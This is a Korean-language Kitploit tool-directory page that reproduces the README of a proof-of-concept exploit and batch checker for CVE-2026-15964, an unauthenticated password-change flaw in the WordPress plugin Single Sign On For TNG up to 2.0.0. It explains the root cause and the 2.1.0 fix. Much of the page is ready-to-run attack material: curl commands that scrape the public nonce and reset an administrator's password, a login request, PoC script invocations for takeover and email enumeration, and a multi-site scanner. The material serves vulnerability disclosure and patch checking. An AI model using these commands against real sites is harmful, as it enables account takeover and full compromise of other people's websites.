Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8) | Kitploit
도구/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentication & AuthorizationPrivilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964용 PoC 및 검사기 - WordPress 플러그인 Single Sign On For TNG <= 2.0.0의 인증되지 않은 비밀번호 변경 (CVSS 9.8)

저장소 보기
1132개월 전아직 검토되지 않음

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

검증되지 않은 비밀번호 변경을 통한 인증되지 않은 권한 상승 WordPress 플러그인 Single Sign On For TNG에서 발생합니다.

심각도Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (검증되지 않은 비밀번호 변경)
영향 범위플러그인 버전 1.0.0 ~ 2.0.0
수정 버전2.1.0 (2026-07-27 출시)
공개일2026-08-01
인증 요구없음 (wp_ajax_nopriv_ssoprocess_ajax)
영향관리자를 포함한 모든 WordPress 계정의 비밀번호 변경 가능 - 완전한 사이트 장악
플러그인https://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

인증되지 않은 모든 방문자가 2.0.0 이하 버전의 플러그인을 실행 중인 사이트의 모든 계정 비밀번호를 변경할 수 있습니다. HTTP 요청 두 번이면 됩니다:

  1. 홈페이지를 GET으로 요청하고 SSOPWDREQUIREMENT JavaScript 객체에서 nonce를 복사합니다.
  2. operation=setnewpassword, 피해자 이메일, 새 비밀번호와 함께 admin-ajax.php로 POST합니다.

나머지는 WordPress 코어의 reset_password()가 처리합니다. 토큰도, 이메일 확인 링크도, 권한 검사도 없습니다. 이후 관리자로 로그인하면 됩니다.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

왜 이런 일이 발생하는가

핸들러가 인증되지 않은 사용자에게도 등록되어 있음

single-sign-on-for-tng.php(v2.0.0)에서:

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_*는 세션 없이도 핸들러에 접근할 수 있음을 의미합니다.

유일한 방어 수단은 플러그인이 모든 방문자에게 제공하는 nonce

load_scripts()는 wp_enqueue_scripts에 연결되어 있으므로 모든 프런트엔드 페이지에서 플러그인은 다음을 HTML에 출력합니다:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

다음과 같이 렌더링됩니다:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

그리고 핸들러는 다음과 같이 검증합니다:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

문제는 이렇습니다: WordPress는 uid와 세션 토큰을 사용해 wp_create_nonce($action)으로 nonce를 계산합니다. 로그아웃된 방문자의 경우 이 값은 0과 빈 문자열이므로, 모든 익명 방문자는 똑같은 nonce를 받습니다. nonce는 12시간마다만 다시 생성됩니다(nonce tick). 따라서 플러그인이 어떤 방문자에게 출력하는 nonce는 공격자에게도 유효합니다. 훔칠 비밀이 없으며, 페이지 자체에 공개되어 있습니다.

그리고 소유권 증명 없이 이루어지는 실제 변경

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password()는 WordPress 코어 함수입니다. 새 해시를 설정하고, 피해자를 다른 모든 세션에서 로그아웃시키며, password_reset / after_password_reset 액션을 발생시킵니다. 이 함수는 호출자가 계정 소유자임을 증명하는 어떤 것도 없이 호출됩니다.

알아둘 만한 추가 사항 두 가지:

  • 이 경로에는 서버 측 비밀번호 강도 검사가 없습니다. 플러그인의 MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 규칙은 Forminator 폼용 validate_form()에서만 적용되며, 여기서는 절대 적용되지 않습니다. 어떤 비밀번호든 허용됩니다.
  • 계정 존재 여부 확인. {"success":true}와 {"success":false}를 비교하면 이메일이 등록되어 있는지 알 수 있습니다. 체커의 --enum-only 모드가 이를 활용합니다.
  • 같은 함수의 추가 버그: operation=set_tzoffset은 인증 없이 update_option('localtzoffset', $post['timezoneoffset'])을 호출합니다. RCE로 직접 악용할 수는 없지만, 인증되지 않은 옵션 쓰기이므로 writeup에서 언급할 가치가 있습니다.

2.1.0에서 변경된 사항

2.0.0과 2.1.0을 비교하면 수정 사항이 명확해집니다(그리고 버그도 확인됩니다):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

그리고 newpasswordform()에서:

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

따라서 2.1.0에서는 흐름이 이렇습니다: 실제 복구 요청이 사용자 메타에 사용자별 custom_recovery_token + custom_recovery_nonce를 저장하고, 복구 링크가 사용자 ID를 전달하며, 폼이 둘 다 검증하고, AJAX 핸들러는 복구 기간(timeout)이 만료되면 실행을 거부합니다. 유효한 복구 레코드를 만들 수 없는 공격자는 더 이상 setnewpassword를 실행할 수 없습니다.


재현 방법 (수동)

1단계 - nonce 스크래핑

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

2단계 - 비밀번호 변경

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

취약한 설치 환경에서 예상되는 응답: {"success":true}

3단계 - 로그인

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

단일 사이트 익스플로잇. 비파괴 모드 포함.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

체커: CVE-2026-15964-checker.py

자체 사이트 목록을 위한 배치 스캐너입니다. 설계상 비파괴적 - 비밀번호를 절대 변경하지 않습니다.

각 사이트를 분류하는 방법:

  1. HTML 핑거프린트 - 홈페이지의 SSOPWDREQUIREMENT 객체 또는 /wp-content/plugins/single-sign-on-for-tng/ 에셋 경로.
  2. 버전 - readme.txt의 Stable tag: 줄. <= 2.0.0이면 취약, >= 2.1.0이면 패치됨. CVE 기준으로 가장 신뢰할 수 있는 방법입니다.
  3. 동작 프로브 (--probe, 버전을 읽을 수 없을 때만) - 존재하지 않는 이메일로 operation=setnewpassword를 POST합니다. 2.0.0 설치 환경은 오류 메시지 없이 {"success":false}로 응답하고, 2.1.0 설치 환경은 "time to submit the new password expired" 메시지로 응답합니다. 실제 이메일은 절대 전송되지 않습니다. 전송하면 실제로 비밀번호가 초기화되기 때문입니다.
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

출력 예시:

URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
도구 다운로드